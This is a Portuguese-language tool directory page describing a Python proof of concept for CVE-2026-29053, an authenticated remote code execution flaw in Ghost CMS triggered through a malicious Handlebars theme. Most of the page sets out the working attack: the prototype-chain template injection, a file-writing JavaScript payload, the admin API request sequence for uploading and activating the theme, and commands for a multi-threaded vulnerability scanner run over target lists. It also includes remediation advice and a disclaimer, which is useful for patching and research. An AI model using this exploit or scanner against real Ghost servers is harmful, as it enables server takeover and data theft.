Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-29053 — PoC em Python e scanner de versão para CVE-2026-29053, um RCE autenticado no Ghost CMS abaixo da versão 6.19.1 por meio de templates de tema Handlebars maliciosos. | Kitploit
Ferramentas/GitHubGitHub/k3ystr0k3r/cve-2026-29053
Scanners de VulnerabilidadesAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoFerramenta de Acesso RemotoDesenvolvimento de Payloads
GitHubk3ystr0k3r/cve-2026-29053

CVE-2026-29053

PoC em Python e scanner de versão para CVE-2026-29053, um RCE autenticado no Ghost CMS abaixo da versão 6.19.1 por meio de templates de tema Handlebars maliciosos.

12há 15h 32mAinda não revisado
Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-29053 - Ghost CMS < 6.19.0 - Execução Remota de Código Autenticada via Tema Malicioso

CVE-2026-29053, afeta o sistema de gerenciamento de conteúdo Ghost construído em Node.js. Versões de 0.7.2 a 6.19.0 são suscetíveis a este problema. Um tema malicioso pode explorar esta vulnerabilidade e executar código arbitrário no servidor que executa o Ghost. A gravidade desta vulnerabilidade é alta, com uma pontuação CVSS de 7.6. Este problema foi corrigido na versão 6.19.1. Um atacante que explore com sucesso esta vulnerabilidade pode obter acesso não autorizado ao servidor e potencialmente assumir o seu controle. Ele poderia então usar esse acesso para manipular dados, roubar informações sensíveis ou realizar outras atividades maliciosas. Os produtos/serviços afetados são todas as versões do Ghost de 0.7.2 a 6.19.0. Para mitigar este risco, os usuários devem atualizar suas instalações do Ghost para a versão 6.19.1 ou posterior o mais rápido possível. Isso garantirá que a vulnerabilidade seja corrigida e não represente mais uma ameaça. Se a atualização não for viável no momento, recomenda-se monitorar de perto quaisquer novos desenvolvimentos nesta vulnerabilidade e aplicar as medidas de segurança necessárias para se proteger contra possíveis ataques. Este CVE não está atualmente listado no catálogo Known Exploited Vulnerabilities (KEV) da CISA, o que significa que não foi ativamente explorado por agentes de ameaças. No entanto, os usuários ainda devem priorizar a atualização de seus sistemas para evitar quaisquer riscos potenciais associados a esta vulnerabilidade.

Um PoC em Python para CVE-2026-29053, uma vulnerabilidade de Execução Remota de Código no Ghost CMS causada por temas especialmente criados que podem executar JavaScript arbitrário durante a renderização de templates.

Afetado: Ghost 0.7.2 até 6.19.0 Ghost CWE-74 — Neutralização Imprópria de Elementos Especiais na Saída Usada por um Componente Downstream

Corrigido:
6.19.1
CWE:

O aviso do Ghost descreve o problema como execução de código arbitrário através de temas maliciosos.


Qual é a vulnerabilidade?

Os temas do Ghost usam templates Handlebars (.hbs).

Um template especialmente criado pode abusar da forma como o Ghost processa expressões Handlebars e acessar funcionalidades JavaScript que não deveriam ser alcançáveis a partir de um template de tema normal.

A parte importante do exploit é a expressão do template:

root@kitploit:~
{{#get "posts" filter="tags:{{page[?( ({__proto__:"".toString})["constructor"](https://github.com/k3ystr0k3r/cve-2026-29053/blob/main/%22%25PAYLOAD%25%22)() )]}}" limit="1"}}
{{/get}}

O payload é inserido no template antes que o tema malicioso seja empacotado.

O template resultante é então enviado e ativado através da Ghost Admin API.

Quando o Ghost subsequentemente renderiza o template afetado, a expressão injetada faz com que o payload JavaScript seja executado dentro do processo do servidor Ghost.


O PoC implementa cada uma dessas etapas diretamente.

Autenticação

O PoC primeiro estabelece uma sessão autenticada do Ghost Admin.

O endpoint relevante é:

root@kitploit:~
POST /ghost/api/admin/session/

A requisição gerada pelo PoC é equivalente a:

root@kitploit:~
POST /ghost/api/admin/session/ HTTP/1.1
Host: TARGET
Accept: application/json
Content-Type: application/json
Origin: http://TARGET

{
  "username": "[email protected]",
  "password": "PASSWORD"
}

O Ghost retorna o cookie de sessão autenticada.

O PoC verifica o HTTP 201 e então continua usando o mesmo objeto requests.Session().


Criação do tema

O exploit cria um arquivo ZIP contendo um tema Ghost mínimo.

Os arquivos importantes são:

root@kitploit:~
malicious-theme.zip
├── default.hbs
├── index.hbs
├── page-rce.hbs
├── page.hbs
├── post.hbs
└── package.json

O template malicioso é escrito em:

root@kitploit:~
page-rce.hbs

O PoC constrói o arquivo inteiramente em memória usando o módulo zipfile do Python.

O package.json gerado identifica o arquivo como um tema Ghost:

root@kitploit:~
{
  "name": "malicious-theme",
  "description": "Minimal Ghost theme for CVE-2026-29053 authorized lab reproduction",
  "version": "1.0.0",
  "engines": {
    "ghost": ">=5.0.0"
  },
  "license": "MIT"
}

Template malicioso

A porção vulnerável do tema é a expressão Handlebars dentro de page-rce.hbs.

O PoC gera:

root@kitploit:~
{{!< default}}

<main class="lab-page">
  <h1>CVE-2026-29053 trigger</h1>
  <p>This page renders the malicious theme template.</p>
</main>

{{#get "posts" filter="tags:{{page[?( ({__proto__:"".toString})["constructor"](https://github.com/k3ystr0k3r/cve-2026-29053/blob/main/%22%25PAYLOAD%25%22)() )]}}" limit="1"}}
{{/get}}

O payload é substituído em %PAYLOAD% antes que o tema seja comprimido.

Payload

O PoC padrão usa um payload de escrita em arquivo como prova não destrutiva de execução de código.

Ele gera JavaScript equivalente a:

root@kitploit:~
var fs=process.getBuiltinModule('fs');
fs.writeFileSync(
    '/tmp/cve-2026-29053-rce.txt',
    'CVE-2026-29053 proof: /tmp/cve-2026-29053-rce.txt'
);
return 1

Isso demonstra que o payload está sendo executado dentro do processo Node.js do Ghost e pode acessar funcionalidades do Node.js.

O PoC também contém um modo de callback opcional para ambientes de laboratório.


Upload do tema

Uma vez que o tema malicioso foi gerado, o PoC o envia para:

root@kitploit:~
POST /ghost/api/admin/themes/upload/

A requisição é um upload de formulário multipart.

Conceitualmente:

root@kitploit:~
POST /ghost/api/admin/themes/upload/ HTTP/1.1
Host: TARGET
Accept: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION

Content-Type: multipart/form-data; boundary=------------------------BOUNDARY

--------------------------BOUNDARY
Content-Disposition: form-data; name="file"; filename="malicious-theme.zip"
Content-Type: application/zip

[ZIP ARCHIVE]
--------------------------BOUNDARY--

O arquivo contém o template .hbs malicioso descrito acima.

O PoC espera HTTP 200 e extrai o nome do tema retornado da resposta JSON.


Ativação do tema

Após enviar o tema, o PoC o ativa com:

root@kitploit:~
PUT /ghost/api/admin/themes/THEME_NAME/activate/ HTTP/1.1
Host: TARGET
Accept: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION

O endpoint de ativação é construído dinamicamente:

root@kitploit:~
/ghost/api/admin/themes/{theme_name}/activate/

O exploit para se o Ghost não retornar HTTP 200.


Disparando o template

O PoC então cria uma página publicada:

root@kitploit:~
POST /ghost/api/admin/pages/ HTTP/1.1
Host: TARGET
Accept: application/json
Content-Type: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION

{
  "pages": [
    {
      "title": "rce",
      "slug": "rce",
      "status": "published",
      "html": "<p>rce</p>"
    }
  ]
}

O código usa o slug:

root@kitploit:~
/rce/

Se a página já existir, ele tenta recuperar a página existente em vez disso.

O gatilho final é simplesmente:

root@kitploit:~
GET /rce/ HTTP/1.1
Host: TARGET
Cookie: ghost-admin-api-session=SESSION

Isso faz com que o Ghost renderize o tema ativo.

O PoC verifica o HTML retornado em busca de:

root@kitploit:~
CVE-2026-29053 trigger

para confirmar que page-rce.hbs foi renderizado.


Por que isso resulta em RCE

A distinção importante é que o atacante não está meramente injetando HTML em uma página.

A entrada maliciosa torna-se parte de um template de tema Handlebars do Ghost.

O template é subsequentemente interpretado pelo sistema de renderização do lado do servidor do Ghost.

A expressão criada alcança funcionalidades JavaScript através da cadeia de protótipo/construção:

root@kitploit:~
__proto__
   ↓
toString
   ↓
constructor
   ↓
Function(...)
   ↓
JavaScript controlado pelo atacante

O JavaScript resultante é executado no processo do servidor Ghost.

O PoC demonstra isso acessando o módulo fs integrado do Node e escrevendo um arquivo no servidor.


Fluxo de requisições bruto

Juntando a interação HTTP:

root@kitploit:~
1. POST /ghost/api/admin/session/
   └── autenticar

2. POST /ghost/api/admin/themes/upload/
   └── enviar malicious-theme.zip

3. PUT /ghost/api/admin/themes/<name>/activate/
   └── ativar tema malicioso

4. POST /ghost/api/admin/pages/
   └── criar /rce/

5. GET /rce/
   └── renderizar page-rce.hbs malicioso
       └── expressão Handlebars
           └── execução de JavaScript
               └── impacto em nível de SO

Verificação de versão

O PoC também contém um scanner.

Ele requisita:

root@kitploit:~
GET /ghost/api/admin/site/ HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0

A resposta é analisada em busca de:

root@kitploit:~
{
  "site": {
    "version": "6.19.0"
  }
}

O PoC então compara a versão com:

root@kitploit:~
0.7.2 <= version <= 6.19.0

e reporta versões correspondentes como vulneráveis.

O aviso publicado especifica o intervalo afetado como >= 0.7.2, < 6.19.1, com 6.19.1 como a versão corrigida.


Uso do PoC

Prova de escrita em arquivo

root@kitploit:~
python3 exploit.py --target http://TARGET

O caminho de prova padrão é:

root@kitploit:~
/tmp/cve-2026-29053-rce.txt

Ele pode ser alterado com:

root@kitploit:~
python3 exploit.py --target http://TARGET --proof-path /tmp/test.txt

Instalação existente

Se a configuração do Ghost já foi concluída:

root@kitploit:~
python3 exploit.py --target http://TARGET --skip-setup

As credenciais podem ser fornecidas usando:

root@kitploit:~
--email
--password

Scanner

Os alvos podem ser fornecidos a partir de um arquivo:

root@kitploit:~
python3 exploit.py --file targets.txt

Número de threads:

root@kitploit:~
python3 exploit.py --file targets.txt --threads 25

O scanner verifica o endpoint do site do Ghost Admin e compara a versão do Ghost reportada com o intervalo vulnerável.


Impacto

A exploração bem-sucedida permite a execução arbitrária de JavaScript dentro do processo do servidor Ghost.

Dependendo dos privilégios do processo Ghost e do payload usado, isso pode afetar:

  • Confidencialidade
  • Integridade
  • Disponibilidade

O registro CVE publicado classifica o problema como alcançável pela rede, mas exigindo altos privilégios e interação do usuário, com escopo alterado.


Remediação

Atualize o Ghost para:

root@kitploit:~
6.19.1+

O aviso de vulnerabilidade do Ghost identifica 6.19.1 como a versão corrigida.

Não instale temas não confiáveis.


Aviso Legal

Este PoC é fornecido para pesquisa de vulnerabilidades, testes de penetração autorizados e fins educacionais.

Baixar ferramenta